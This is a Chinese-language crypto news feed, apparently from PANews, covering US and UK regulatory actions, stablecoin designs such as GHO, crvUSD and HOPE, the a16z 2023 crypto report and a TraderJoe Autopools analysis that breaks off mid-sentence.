    4 月 17 日晚，比特币跌破 3 万美元，一种说法弥漫社区，此次闪崩为美国监管所致。 一涨一跌都是事后老练，但既然有人认为香港大会点燃了上周的行情，那认为西方监管是一种利空信号也是合乎逻辑。 实际上，西方此轮对加密的强监管能动手绝不动口，仅两周内就有三件标志性事件发生。 4 月 1 日，加密交易平台 Bittrex 联创兼 CEO Ritchie Lai 发布声明表示，该公司将于 4 月 30 日关闭其美国平台，理由为「鉴于当前美国的监管和经济环境，继续运营从经济角度来看是不可行的，监管要求通常不明确，并且在没有适当讨论的情况下强制执行」。 4 月 17 日，美国 SEC 执法部门建议 SEC 以涉嫌违反投资者保护法起诉 Bittrex，Bittrex 的总法律顾问 David Maria 表示，执法部门在 3 月份向 Bittrex 通报了 SEC 可能采取的行动，SEC 在向 Bittrex 发出的韦尔斯通知（Wells Notice）中表示，Bittrex 在未向监管机构注册的情况下作为交易平台、经纪自营商和票据交易所开展业务，违反了法律。 当晚，SEC 就 Bittrex 与其前首席执行官未进行交易平台注册发出指控，并将 OMG、DASH、ALGO、TKN、NGC、IHT 列为在 Bittrex 上交易的证券。 昨日消息，美国众议院金融服务委员会发布稳定币法案的草案版本，内容涉及稳定币抵押资产、稳定币合规支持、实体对发行稳定币的申请流程等多个方面。 该法案首先阐明，一旦生效，任何银行或非银行稳定币发行实体必须注册持牌，监管机构对注册申请须在 90 天内做出回复，否则将自动获得批准。对经营未经许可的稳定币发行方的处罚为每日 10 万 美元。 此外，该立法将明确给予非银行稳定币发行人完全访问中央银行存款账户（即美联储账户）和中央银行借款的权限，甚至财政部也承认央行存款有可能提供最安全的资产支持。其他可接受的稳定币支持资产包括实物现金、短期国债和基于国债的回购协议（repos），该文件草案未将商业银行存款列为非银行稳定币允许的资产。 最后，该法案还将对「内生抵押稳定币」实行为期两年的暂停，其中包括算法稳定币。目的是给财政部、SEC 和货币监理署足够的时间来「研究」该问题。 此外众议院金融服务小组委员会将于下周三举行关于稳定币的听证会，与会者包括 Circle 首席战略官 Dante Disparte、区块链协会首席政策官 Jake Chervinsky、哥伦比亚大学教授 Austin Campbell 和纽约金融服务部主管 Adrienne Harris。 无独有偶，英国央行副行长 Jon Cunliffe 在昨日的年度创新金融全球峰会上的演讲中表示，英国央行和金融行为监管局计划在今年晚些时候就稳定币的新规则进行咨询，新规则将寻求像监管商业银行货币一样监管稳定币。 4 月 4 日，比特币 P2P 市场 Paxful 首席执行官 Ray Youssef 宣布 Paxfu 暂停运营，并称此次暂停可能是永久性的。Ray Youssef 表示，「该行业的监管挑战继续加大，尤其是点对点市场和美国，在我们解决这些问题的同时，会采取最安全的选择」。 而后根据 4 月 7 日曝出的的法庭文件，Paxful 的两位联合创始人 Artur Schaback 和 Ray Youssef 正在就公司的控制权对彼此提起诉讼，并相互提出多项指控。这些指控包括挪用公司资金、洗钱和逃避美国对俄罗斯的制裁等。同时，Ray Youssef 计划推出一个名为 Civilization Kit (Civ Kit) 的新平台，而 Civ Kit 是建立在 Jack Dorsey 支持的去中心化社交媒体协议 Nostr 上的去中心化的点对点比特币交易应用程序。 Paxful 个中真相难以言明，但以实体化运营去中心化业务，服务的灰度不可避免，在美国越来越明亮的监管大灯下，人人自危的心态不会作假。 上周香港 Web3 大会，行业因区域的政策转向而狂欢，V 神等一众以太坊核心开发者竟无一人到场。如果考虑到作为活动推手的万向与 V 神长期以来的关系，便更能体会到其中的不寻常。 昨日，香港大会刚刚落下帷幕，主办方确认 V 神等八位以太坊基金会成员将出席五月在黑山举办的以太坊大会 EDCON 2023，Coinbase 前 CTO Balaji Srinivasan、Gitcoin 联创 Scott Moore、StarkWare 联创 Eli Ben-Sasson、Matter Labs 联创 Alex Gluchowski 以及 Polygon zkEVM 技术主管 Jordi Baylina 等也将参会。 在这持续疲软的全球经济中，松与严都会随时变化，也许我们看待问题都要带上时间的眼镜。Crypto 真正的价值在何处，变局中会越来越明了。  ( 3 min )
    KRAFTON将与Naver Z合资在北美组建新企业以扩展元宇宙，初始投资为3640万美元
    PANews 4月18日消息，据Nftgators报道，韩国《绝地求生》游戏开发商 KRAFTON 将与韩国互联网巨头 Naver 旗下元宇宙部门 Naver Z 合资在北美组建一家新的企业，两家公司将向新的北美实体投资 480 亿韩元（约合 3640 万美元）。KRAFTON 将拥有合资企业 85% 的股份，NAVER Z 将拥有剩余的 15%。 KRAFTON 与 Naver Z 正在合资开发一种名为"Migaloo"的新元宇宙体验，该平台自去年以来一直在开发中，计划于 2023 年底前推出。Migaloo 计划采取 create-to-earn（C2E）模型，允许创作者在平台内（以NFT形式）开发和销售内容。 早在2021年7月，韩国游戏开发商KRAFTON就曾向互联网巨头Naver子公司Naver Z投资50亿韩元（约合420万美元）。  ( 2 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.18）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    Aleph Zero启动5000万美元的生态系统资助计划
    PANews 4月18日消息，据Cointelegraph报道，Layer1 隐私增强区块链 Aleph Zero 正在启动一项 5000 万美元的 Aleph Zero 生态系统资助计划。Aleph Zero 生态系统资助计划的目标是资助开发团队的创新，以扩展 Aleph Zero 区块链的能力、功能和采用。生态系统资助计划包括产品开发所有阶段的赠款、孵化和加速，成功的申请者每个项目可获得高达 500,000 美元的赠款资金。 该计划的试点阶段已经资助了一系列项目，例如去中心化借贷协议 Abax、NFT 市场 ArtZero、域名服务 AZERO Domains、独特的黑暗虚拟体验 DRKVRS、企业级去中心化身份平台 Gatenox 和去中心化安全平台 Interlock。  ( 2 min )
    Polygon发布致欧洲议会的公开信，以澄清智能合约的运作方式
    PANews 4月18日消息，Polygon Labs起草并向欧洲议会、欧盟理事会和欧盟委员会的代表发送了一封关于“数据法案”（Data Act）第 30 条的公开信。 目的是澄清第 30 条的范围和意图，以确保它说明了智能合约的运作方式。据悉，欧盟通用数据保护条例 (GDPR) 第 30 条是一项法律：要求处理个人数据的组织保留其处理活动的记录。第 30 条规定了以下要求：(A) 一方在同意提供数据的情况下提供智能合约。由于所有智能合约都共享某种数据，因此拟议的法律过于宽泛，在去中心化系统中可能无法执行。公开信中阐明了在无许可系统中对此类智能合约施加“安全终止或中断”要求的潜在负面后果。 Polygon 进一步建议修改以缩小第 30 条的范围。其背后的意图是该条仅影响由已签署习惯共享合同协议的可识别自然人或公司实体拥有和运行的基于许可的智能合约系统“个人数据”，因为该术语在数据法中使用。通过这封信， Polygon希望确保包括欧盟在内的全球软件开发人员能够通过智能合约不断创新。  ( 1 min )
    2023年潜力原生稳定币GHO、crvUSD、dpxUSD、HOPE对比分析
    前言 早期稳定币的需求主要来自于以下两个问题的解决： 虚拟资产的价值锚定问题：起初虚拟资产价值波动较大，难以稳定，这给加密货币市场带来了不确定性和风险。稳定币通过锚定一种稳定的资产，如美元或黄金，来稳定其价值，从而解决了这个问题。 监管下的出入金问题：由于加密货币市场监管不完善，加密货币的入金和出金存在一定的风险和不确定性，这给交易者带来了困扰。稳定币通过提供一种稳定的资产，使得交易者可以在加密货币市场中使用一种类似于法定货币的资产，从而避免了监管下的入金和出金问题。 USDT 的出现为虚拟资产提供了一个额外的“存放”位置，币币交易也因此取代法币场内交易成为主流，这使得稳定币成为支付手段，进而发挥了其价值尺度的作用。早期的加密市场作为一个新兴且封闭的体系，十分需要外部能量的注入，以增加市场内部流动性和价值稳定性，中心化稳定币成为了传统资金进入加密市场的重要渠道。中心化稳定币由于依赖于中央机构的发行和管理，其存在着发行方的财务风险和监管风险。由于中心化稳定币在稳定币市场中占据着绝对主导地位，这些风险可能会导致中心化稳定币的价值严重下跌，甚至崩溃，从而给整个加密货币市场带来不可预测的混乱和风险。 最近，币安合作伙伴 Paxos 遭监管机构叫停，将终止发行稳定币 BUSD，致使 BUSD 的市值一个月内减少近 50%；稳定币 USDC 因部分储备资产安全性受到硅谷银行挤兑风波影响短时脱锚，引发了加密市场的恐慌。因此，加密货币市场需要更为稳健和去中心化的稳定币，以确保市场的健康和稳定发展。尽管取代中心化稳定币的过程可能会较为漫长，但是探索和发展加密原生稳定币越来越成为共识。 已知的 2023 年将推出的原生稳定币，大多是基于已有协议打造的，例如 Curve 的 crvUSD、AAVE 的 GHO、Dopex 的 dpxUSDSD 等。此外，还有稳定币将追踪 BTC 和 ETH 价格，通过分阶段实现超额储备，例如稳定币 HOPE。这些新型原生稳定币的推出，表明稳定币市场正不断发展和创新。它们通过利用现有的协议和技术，希望实现更高效、更安全、更稳定的稳定币发行和管理。这些稳定币的推出有望进一步促进加密货币市场的发展，为投资者提供更多的选择和更好的体验。 本文将总结原生稳定币的模式和发展趋势趋势、冷启动策略、飞轮效应机制，从这三个角度出发对比这四个 2023 年将推出的原生稳定币。 加密原生稳定币分为两种类型： 超额抵押稳定币：这些稳定币由其他加密货币（如比特币或以太坊）作为抵押品支持，并可以兑换为担保加密货币，并通过调整参数来平衡供给与需求。例如 Dai（DAI），sUSD（SUSD）和 BitUSD（BITUSD）。 算法稳定币：算法稳定币不由任何资产支持或者非足额抵押支持，价值稳定依赖于算法机制的运行和市场需求的供需关系。例如 UST、Ampleforth（AMPL），Terra（LUNA）和 Reserve Rights（RSR）。去中心化的非足额质押可以理解为没有底层资产质押的部分由算法机制去调节的需求侧去管理实现，也就是算法稳定币。 原生稳定币不依赖外部资产作为抵押，原生稳定币可以通过机制设计来实现自我调节和自我强化，提高稳定性。由于 UST 的崩溃，市场对算法稳定币的信心受到了严重的打击，因此目前稳定币市场的主要发展方向是超额抵押模式，超额抵押模式的发展趋势主要有四个： 降低抵押率释放抵押品流动性 在稳定币市场中，Liquity 已成为 MakerDAO 的有力竞争对手。Liquity 采用高效的清算机制，使得抵押率仅需 110%，HOPE 也设定了同样的目标抵押率，相比于 MakerDAO 的 150%，这一举措可以释放更多的流动性。而 Curve 的稳定币 crvUSD 最大的创新是采用 AMM 代替传统的借贷和清算流程。当达到清算条件时，清算过程将通过持续性清算来平滑进行，而不是一次性发生。这种机制可以降低清算风险，防止市场波动造成的损失。目前 crvUSD 的具体抵押率尚未公布。 提高稳定币流动性 新上市的稳定币普遍面临着使用场景缺乏的问题，因此需要对提供流动性的用户进行直接或者间接的激励。其中间接方式一般是与其他稳定币合作，构建充分流动性，以增加持有人信心，增加稳定币需求。例如，FRAX 于 2020 年 12 月上线，2021 年 2 月通过在 Curve 上提供 FXS 流动性奖励构建了 FRAX-3Pool 资产池，并通过 Curve Gauge 提高 FRAX 资金池获得的 CRV 激励，随后与 Convex 合作进一步提高了对 FRAX-3Pool 资产池激励和治理权，从而为 FRAX 构建了足够深的流动性。而直接激励方式则使用生态内的代币进行稳定币流动性质押激励，HOPE 便采用了这种方法，为质押 HOPE 的用户提供治理代币 LT 的激励，从而提高 HOPE 的流动性；此外，HOPE 的流动性由专门的做市商提供，一方面确保 HOPE 有充足的流动性，使得持有者可以随时退出；另一方面通过铸造和市场之间的套利来追踪储备池价格。 Fei Protocol 使用了一种比较特殊的方式来实现这一目的，其提出了协议控制价值（Protocol Controlled Value，PCV）模型，用户存于合约中的资产将由协议直接拥有，用户无法提取这些资产，协议可以更灵活地使用这些资产来保持 FEI 的流动性并实现 FEI 价格的稳定。 价格锚定机制创新 当超额抵押型稳定币的价格偏离锚定值时，可以通过套利机制扩张或收缩其发行量，以达到恢复锚定的目的。不同的稳定币机制有不同的扩张或收缩方式。Frax v2 在原有 AMO（Algorithmic Market Operations Controller，算法做市）的基础上推出新的模块，通过自动处理 FRAX 及其抵押品在 DeFi 生态系统中的资产，增加 FRAX 流动性或提高 veFXS 持有者奖励，从更多维度调节 FRAX 供应。例如，当 FRAX 的抵押品（如 USDC）不足时，Curve AMO 可以将手头的 FRAX 大量兑换为 USDC，在 Curve 上提高 FRAX 协议的 USDC 质押量，从而使 FRAX 保持价格锚定；而 FRAX Lending AMO 将 FRAX 放入 Aave 等借贷市场，使得用户可以通过抵押资产（如 ETH）并支付利息来获取 FRAX，增加了 FRAX 的供应渠道。 丰富使用场景 发行稳定币不仅需要提供铸造发行，还需要创造稳定币的使用场景，通过构建使用场景来增加稳定币需求并扩大其规模，主要形式有借贷、交易，并为交易对提供流动性激励。Terra 就为其稳定币 UST 提供了广泛的用途，如支付（CHAI）、储蓄（ANCHOR）和投资（MIRROR）。HOPE 也将通过在其生态中应用多个协议，为用户提供丰富的使用场景。其中，HOPE Swap 协议支持交易；HOPE Lend 协议支持借贷业务；而 HOPE Connect 协议，则是一种链上托管和清结算工具，可实现现实资产和链上资产的连接。这些协议共同构建了一个完整的生态系统，为用户提供了全面的区块链服务。 稳定币具有自我强化效应，规模越大，其汇率稳定性也越高，从而吸引更多用户和资本进入市场，进一步扩大市场规模，形成良性循环。以首个原生加密稳定币 DAI 为例，早期 DAI 的价格波动性非常高，但随着规模的增长，波动性趋于稳定。对于原生稳定币而言，冷启动阶段至关重要，若无法建立起规模，在持有者信心和抗风险方面都将面临竞争力不足的情况。 一些原生稳定币冷启动路径总结： DAI 是首个超额抵押型稳定币，最初只接受 ETH 作为抵押品。尽管质押率为 150%，但在当时的低迷市场环境下，对于长期持有 ETH 的用户而言，这是一种非常好的提高 ETH 利用率的方式，既保留持有 ETH 的权益又能获取稳定币现金流。 作为 UST 的发行和管理平台，Terra 公链在 UST 冷启动阶段起到至关重要的作用。作为一个以商业落地为目标的公链，Terra 生态早期便融合了稳定币、合成资产、机枪池、线下支付等多种场景，为 UST 带来了丰富的应用场景。例如与 Mirror Protocol 合作推出了合成资产，与 Anchor Protocol 合作推出了借贷协议，用户可以将他们的资产抵押在 Anchor 上借取 UST，同时 Anchor 还为 UST 提供 20% 固定存款利息等等。这些合作促进了 UST 的推广和使用，在冷启动期就迅速刺激 UST 需求，并进一步增加了 UST 的用户群体和使用场景。 FRAX 在 V2 版本更新后，推出了算法做市模块——AMO，AMO 能够根据抵押率自动将抵押品或 FRAX 转移到资本效率更高的地方，进一步促进了 FRAX 的增长。AMO 的推出使 FRAX 供应量从不足 5 亿美元迅速攀升至 26.5 亿美元。 crvUSD 的冷启动路径 Curve 作为一个以稳定币为主的 DEX 平台，其独特优势在于 crvUSD 可以与各种抵押品形成交易对，形成了丰富的兑换资产的使用场景。在 Curve War 后，Curve 团队获得了大量 veCRV，这将直接帮助 crvUSD 在流动性和激励等方面获得发展优势。 GHO 的冷启动路径 作为借贷平台，Aave 具备发行稳定币的天然优势。用户的借款和抵押品由统一的资金池集中管理，从而有效降低成本、提高效率，使得稳定币的发行更加高效便捷。因此，创建 DAO 原生的稳定币是一个自然的发展方向，也应该可以降低借款人的成本。 dpxUSD的冷启动路径 dpxUSD 是通过将 rDPX 与 USDC 流动性池结合创造出来的，通过以折扣的方式激励用户来铸造 dpxUSD。 HOPE 的冷启动路径 HOPE 稳定币的规划与其他稳定币不同。在早期发展阶段，HOPE 的储备价格将从 0.5 美元开始。发行筹集的资金将转换为 BTC 和 ETH 存入 HOPE 储备池（“HRP”）。用户可以通过官方协议在初始发行期间铸造 HOPE，或者此后通过特定做市商或 HopeSwap 协议购买 HOPE。随着加密货币市场的复苏，HOPE 的市值将逐渐达到 1 美元（达到面值的100%，“挂钩事件”）。 HOPE 的流动性由专门的做市商提供，一方面确保 HOPE 有充足的流动性，使得持有者可以随时退出；另一方面通过铸造和市场之间的套利来追踪储备池价格。如果 HOPE 没有能够达到 1 美元的价格锚定，第一阶段购买 HOPE 的用户可以将 HOPE 兑换回 BTC 和 ETH。 HOPE 完全过渡到 HRP 后（超额储备的稳定币），将纳入其他代币（例如稳定币）。此后，HOPE 稳定币的使用场景将逐步拓宽至借贷、衍生品交易和合成资产等。 持有者通过质押 HOPE 可以获得 HOPE 生态的治理代币 LT（Light Token），并享受未来 HOPE 生态中的其他收益，如 HopeSwap 的交易费用优惠等. HOPE 的冷启动模式为用户提供了三重价值： 一种简单的方式追踪加密市场最大两个蓝筹资产——BTC 和 ETH。 HOPE 是由 BTC 和 ETH 组合而成的资产凭证，随时可交易、可赎回，在 DeFi、CeFi、TradFi 平台均可作为优质抵押资产。 获取平台治理代币 LT 激励。 通过机制设计，治理代币可以在早期激励稳定币的规模增长，并在后期对价格锚定起到稳定器的作用。稳定币和治理代币之间通常存在相互增强的正反馈效应，形成飞轮效应。 MKR 持有者可以通过投票来控制 MakerDAO 系统的管理和决策，包括治理和风险分摊机制，并获得系统中的手续费和其他奖励。当 DAI 保持稳定且规模增加时，说明系统运行良好，从而增强对 MKR 的信心。此外，系统中需要更多的 MKR 来提供市场担保，导致 MKR 的价格上涨。然而，如果极端行情导致 MakerDAO 系统中的抵押品清算失败，造成损失，这些损失通常会由 MKR 持有者来承担，以保证稳定币 DAI 的稳定性和安全性。 UST 通过和 LUNA 的双向销毁铸造来维持 1 美元的价格。当市场上对 UST 有需求时，人们就会购买并销毁 LUNA，从而推高 LUNA 价格。Terra 利用 Anchor 提供的高达 20% 的年化利率不断吸引外部资金进入系统，从而增加 UST 的发行量，推高 LUNA 的价格。反之，如果 LUNA 的买方流动性不足以支撑其价格锚定机制时，就会导致 UST 和 LUNA 螺旋下跌。 Frax 是由 USDC 和 FXS 作为抵押品铸造的稳定币。随着 Frax 的需求增加，FXS 的需求也会随之增加，这将推动 FXS 的价格上涨，从而为 Frax 储备资产带来收益。未来 Frax 将过渡为 100% USDC 抵押，这将进一步加强 Frax 的稳定性和可持续性。 持有并质押代币 AAVE 可以获得 stAAVE，可以降低铸造 GHO 的总成本（即更低的利息），这有助于减轻 AAVE 的二级市场销售压力，并确保 AAVE 协议的安全。GHO 借贷所产生的利息费用将全部发送到 DAO 资金库，如果 GHO 达到 DAI 的市值，以 3.5% 的平均利率估算，每天可为 AaveDAO 赚取近 15 万美元，这有利于 AAVE 的价格增长，从而也能让 GHO 变得更加安全。 rDPX V2 将引入通过燃烧 rDPX（使其通货紧缩）来铸造挂钩资产的能力。dpxUSD 的需求越多，rDPX 的通缩力度越大，越容易推升其价格，反过来又促进了 dpxUSD 的需求。 HOPE 的价值体现：HOPE 最初以 50 美分的储备价格开始发行。该协议预计以 1 美元的锚定价格和略高于100% 的储备率（例如以港币计算为 105%-112%）作为预期终点。在 HOPE达到 1 美元锚定之前，持有人将类似于持有 ETH 和 BTC 的 ETF，同时还能获得额外的 LT 奖励。当 HOPE 稳定在 1 美元之后，协议的超额利润将流入 LT 代币。 LT 的价值体现：LT 是该协议的治理代币，可以通过在协议中提供流动性、参与各种协议服务或质押 HOPE 来获得。LT 可以通过质押获取 veLT，后者可以增加 LT 的收益率。此外，veLT 还可用于投票提高持有者的流动性奖励并获得额外的手续费分成。 这为 HOPE-LT 带来了下面的飞轮： 持有 HOPE 代币的用户可以质押来获取 LT 代币，以增加对治理和生态激励代币的持有量，同时减少 HOPE 的流通量。 持有 LT 的用户可以使用 veLT 进行 boost，提高获得 LT 奖励的效率，并通过投票 Gauge 来提高流动性奖励并获得额外的手续费分成，从而进一步增加对 LT 的持有量。在 HOPE 生态系统中的 DeFi 项目可通过交易挖矿获得 LT，而各协议的排放量由投票决定，这也赋予了 veLT 贿选的价值。 当 HOPE 的储备价格达到 1 美元后，其价值将体现在 LT 上，这将进一步促进 LT 的需求。 BTC 和 ETH 的上涨会使 LT 升值，LT 的升值会增加生态激励总金额，刺激 HOPE 的用量增加，从而刺激 HOPE 的发行量增加。 生态建设的提升会促进 veLT 需求的增加，从而减少 LT 的流通，提高 LT 的价值。 总之，HOPE 的储备率和价格受市场影响，如果市场上涨，HOPE 的储备价格将增加，从而促进 LT 的需求和持有量。反之，如果市场下跌，HOPE 的储备价格将降低，从而降低 LT 的成本，减少 LT 的需求和持有量。HOPE 项目将于 4 月 19 日上线。 在稳定币市场中，算法稳定币曾经被认为是一种非常有前途的叙事。然而，随着市场的发展，以及 UST 规模的快速膨胀和覆灭后，人们逐渐认识到这种没有外部性资产支持的算法稳定币模式的脆弱性。这让市场参与者意识到，超额抵押模式是保持稳定币价格稳定的更为可靠的方式。 如今，以超额抵押为核心的原生稳定币项目依然在探索更加高效的稳定机制、清算机制和更为丰富的抵押资产类型。它们致力于提高资金利用率，以应对市场波动和风险。这些项目的发展不仅为市场提供了更高的资本效率和更多资本套利的机会，而且还为更多的投资者提供了更多的投资选择，最终也推动了 DeFi 整体生态的发展。 在超额抵押原生稳定币项目中，有一些是基于已有协议的，如 GHO、crvUSD 和 dpxUSD，它们通过建立在已有流动性基础上的超额抵押模式，能较大程度保证其价格的稳定性。同时，一些超额抵押稳定币项目则通过模式创新实现冷启动，如 HOPE，它利用锁定储备资产和 DeFi 生态打造的方式，通过建立储备池和使用场景，保持稳定币的价格稳定。 当前，欧美银行频繁暴雷，中心化稳定币的稳定性受到质疑，因此链上透明的原生稳定币的地位将更加重要。原生稳定币的透明度和去中心化特性可以为市场带来更大的信任和安全感，同时也提供了更多的套利机会和流动性。  ( 7 min )
    a16z 2023 Crypto报告与近期热点，带给Web3人哪些启示？
    4月11日，知名投资公司a16z发布State of Crypto 2023报告，总计60页，其中首先提到了加密货币当前的5大现状：Progress（进步）、Setbacks（挫折）、Market cycles（市场周期）、Regulation（规定）和Opportunity（机会）。 接下来抛出3个递进式的核心观点： 相信深入Web3领域的用户对于上述观点有着很多共鸣。 新的构建者正以创纪录的速度进入Web3学术研究正在加速。雄心勃勃的产品定期推出。核心基础设施正在改善。最近的一个例子：以太坊成功过渡到节能的“权益证明”，这是开源发展史上最重要的升级之一。 诚然，Web3赛道上从不缺乏新鲜事。Web3相较Web2，所具备的去中心化、自由与开放的特点催生了更多的机会。用户习以为常的内容分享、艺术创作、社交往来在都被赋予着新的内涵。 在Web3中内容发布变得不可篡改，且在链上留下无法抹去的痕迹，并且出现了分享内容获取Token收益的多种形式；艺术创作更是不言自明，优秀的NFT作品引发了换头像的潮流，数字艺术也成为了可以交易与流转的作品；社交方面，链上的社交更趋于一种“陌生人”社交的形式，即链上与链下的世界可以做到很大程度上的分开，人们使用地址作为自己的链上通行证。 与此同时，用户获取收益也有了更丰富的形式，出现了X-to-earn的多种选择。用户可以选择走路、跑步换取token奖励，还可以通过参与完成任务来分得奖池。众多去中心化任务平台给予了用户多重选择，通过完成转评赞推特、收听线上直播、体验测试网、铸造NFT等行为，用户可以几乎以无风险的形式获得奖励。 而区别于Web2中代表性的Gleam平台，链上的奖励更为公开透明。平台甚至可以邀请活动发起方提前将奖池质押在平台中，等到活动结束后自动发放，这无疑为用户投入时间与精力参与其中提供了一定的保障。 噪音淹没了信号，负面事件占据了头条新闻。备受瞩目的项目崩盘。高知名度的投资者破产。主要的智能合约被利用。全球加密货币市值下跌DeFi和NFT活动下降。 虽然不是全貌，但却是较长一段时间熊市的真实写照。中心化交易所的崩盘，重要人物失去信任，头部项目被问责，都在影响着投资者的心态。而近期以太坊升级的完成，行情的回暖，也让投资者增加了更多信心。 CoinGecko在4月13日的推文中显示，加密货币市场的市值已经超过1.3T美元，这一惊人的数字再次印证了市场持续蓬勃发展的趋势。 我们之前观察到的“价格创新”周期今天仍在继续。显然，加密市场的混乱周期是由一个基本逻辑驱动：价格上涨是创新的领先指标。数字引发兴趣，激发想法和活动，从而带来创新。自 2009 年比特币诞生以来，这种积极的反馈循环一直存在。 近期BTC的价格突破$30,000再次佐证了这一观点，我们期待看到市场带来的更多新鲜事。 加密货币面临不断变化的监管环境。政策制定者正在提出两党法案。法院正在考虑重大问题案件。机构正在发布执法行动。这些都是开创先例的时代。 香港Web3嘉年华的火热举行了使得相关监管政策更加完善，是机遇也是挑战，整体向着更规范与完善的趋势发展。 对此，香港证监会负责人Keith Choy表示：只要DeFi活动属于《证券及期货条例》（SFO）的范围，它就会受到与传统金融活动相同的监管要求。在香港，向公众提供集体投资计划须符合授权要求。由于缺乏数据以及不受监管的公司和活动，DeFi向监管机构提出了财务稳定性和透明度有限的问题，同时也强调了市场诚信问题，如价格预言机操纵，抢先交易和投资者保护问题。 就在近期，美国和法国最近也发布了有关DeFi监管的报告。在美国，财政部对与DeFi相关的非法金融风险的首次分析建议美国考虑加强其现有的反洗钱制度。不符合反洗钱和恐怖主义融资规则的去中心化金融（DeFi）服务在加密行业的这一角落构成了“当前最重要的非法金融风险”。 法国央行则表示，DeFi可能被迫合并和认证，监管机构正在寻求扩展欧盟法律，以涵盖金融领域的去中心化结构。 a16z认为，最近的挫折凸显了不透明的中心化基础设施的失败与去中心化系统的弹性形成鲜明对比。我们相信去中心化计算平台也可以对抗权力集中到少数科技巨头手中的趋势。互联网需要 Web3。了解这一点的人将为这些技术的未来而战。 实际情况是，中心化和去中心化并非完全对立，我们也观察到众多巨头企业正在努力拥抱与融入Web3潮流之中。 在Elon Musk的推动下，Twitter与领先投资平台eToro达成合作，Twitter将为用户提供从eToro买卖股票和加密货币的选项，为用户提供了更为方便快捷的交易渠道。 4月11日，根据Decrypt报道，领先视频游戏硬件和外设公司Razer现在正在通过其新的 zVentures Web3孵化器 (ZW3I) 资助Web3游戏项目。 全球第三大工程机械品牌徐工集团（XCMG）推出NFT系列，并表示：这不仅是艺术NFT的收藏品，更是徐工国际化探索Web3世界的新起点。 徐工集团与中国唯一合规、公开、免许可的区块链Conflux的合作，继续将FOR REAL系列NFT的吸引力无限放大。在中国乃至整个亚洲市场都是向前迈进的关键一步。 结语 a16z在其网站上划出重点：区块链拥有更多活跃用户和更多参与方式。随着有前途的新用途和应用的出现，DeFi和NFT活动似乎再次兴起，加密行业的活跃开发者数量保持稳定，区块链正在通过有前途的新路径进行扩展，曾经几乎不可能实现的新技术正在变得非常真实。 这些趋势总结引发了众多Web3用户的共鸣，在开放与充满无限可能的区块链网络中，我们能够探索出更多可能。也为我们的工作与生活增添了更多机会与乐趣。保持乐观，拥抱趋势，融入潮流，冷静思考，深入研究，或许是我们每一名Web3用户该做的事，相信未来会带给我们更多意想不到的礼物与精彩。  ( 3 min )
    分析TraderJoe的Autopools升级：能否让流动性再上一个台阶？
    最近看到的一个有趣讨论是：「交易平台激励模式思考，流动性和交易行为哪个更值得激励？」最后，Mint Ventures研究合伙人Alex Xu，给出最终的答案是「流动性提供者更值得激励」。 其中最重要的一点原因便是留存率，也就是用户是否愿意与平台绑定，以及迁移意愿是否强烈。显然，交易者更加理性，总会选择流动性更好的交易平台进行瞬间交易，旨在获得更小的交易摩擦。而流动性提供者是把资金托管给平台，他们会选择风险敞口更低、流动性激励更好的交易平台来提供流动性。 在$ARB空投所引发的流动性供给浪潮中，虽然Uniswap没有任何额外激励，但它依然是很多流动性提供者的选择。个中原因与Uniswap本身的品牌力、V3版本的集中流动性供给和没有黑客风险记录有关。 另外一个脱颖而出的去中心化交易平台是TraderJoe。TraderJoe最初部署在Avalanche上。随着熊市的到来，以及在多次黑天鹅事件的影响下，Avalanche并没有留住那些因基金会流动性激励到来的用户。生态流动性的抽离也深入影响了作为Avalanche生态核心DEX TraderJoe本身的业务。 不过，机会是留给有心人的。 随着推出Liquidity Book和迁移至Arbitrum上，这个在上轮牛市表现颇为亮眼的交易平台TraderJoe才在真正意义上重回加密市场的视野。而$ARB空投则是它的发展新契机。 接下来，我们就来简单聊聊Liquidity Book机制，并从激励流动性提供者的角度，详细分析一下Liquidity Book即将到来的升级：Autopools。 大多数传统DEX的产品架构分为两种，一是自动做市商AMM，二是中央限价订单簿CLOB。AMM是通过执行x*y=k的公式，根据两种代币的流动性来确定两种代币的价格，X、Y数值不管如何变化，其乘积需要始终为K（但会带来无常损失）。CLOB则类似于CEX的订单簿，它会根据一组规则匹配买单和卖单，交易者可以通过限价订单的方式在平台上进行交易。AMM更多应用在DEX中，而CLOB更多应用在衍生品交易中。 TraderJoe的Liquidity Book模型是两者的结合。虽然类似于CLOB，但严格意义上来讲，Liquidity Book模型其实是DLOB，即去中心化限价订单簿。Liquidity Book把多个价格阶段封装成不同的Bin，流动性提供者可以凭借自己的策略来选择不同的Bin为其提供流动性，当价格区间进入某一个Bin时，该Bin便转化为Active Bin，并为流动性提供者带去收益。 与Uniswap V3集中流动性不同的是，Liquidity Book模型不仅降低了流动性提供门槛，也提升了流动性提供策略的上限。通过Liquidity Book，流动性提供者能够执行更为灵活和复杂的策略。 上文中提到，虽然Liquidity Book模型降低了提供流动性的门槛，但是非专业流动性提供者无法通过调整自身策略来将收益最大化。 @jx_block在Twitter总结了TraderJoe六种常用的流动性提供策略：Spot-Concentraded（适合稳定币交易对或者波动性极小的代币交易对）、Spot-Spread（适合价格波动较小的代币交易对）、Spot-UltraWide（适合价格波动较大的代币交易对）、Wide（适合价格波动适中的代币交易对）、Curved（适合围绕某一特定价格进行波动的代币交易对）、Bid-Ask（与Curved相反，适合价格波动性极高的代币交易对）。 当流动性提供者在使用TraderJoe来捕获费用收入时，就需要面临对于做市策略的选择。这时，流动性提供者就需要对未来价格波动的情况进行判断，并作出相应的做市策略选择。 问题的关键在于，并不是所有投资者都善于制定做市策略，挑选策略对他们来说门槛太高了： 若是面对$ARB-$ETH这样热度颇高的流动性供给代币对，非专业流动性提供者还可以采纳在社交媒体上的做市策略建议，从而采取合适的做市策略。但是，当非专业流动性提供者在面对更日常的流动性供给时，很难挑选出最佳的做市策略，从而获得更高的做市收益。 而Liquidity Book的下一次升级所推出的Autopools功能，旨在进一步降低非专业流动性提供者的做市门槛。不想对自身流动性做主动管理的提供者，完全可以通过Autopools来执行自动化的做市策略。 Autopools的策略是这样的： 当波动率较低时，将流动性集中在活跃区间左右的Bin中； 随着波动性的增加，扩大流动性能够进入的区间范围； 输入时间加权平均值和波动率，最终输出仓位大小。 Autopools类似一个自动化的程序或者智能合约，而我们都知道程序或者合约的特点在于，“根据给定的输入，执行逻辑并给出输出。”因此，在Autopools中，输入就是「策略」，输出就是「做市行为」。 在Joe Content文章中提到，Autopools的策略执行由链下脚本“Black 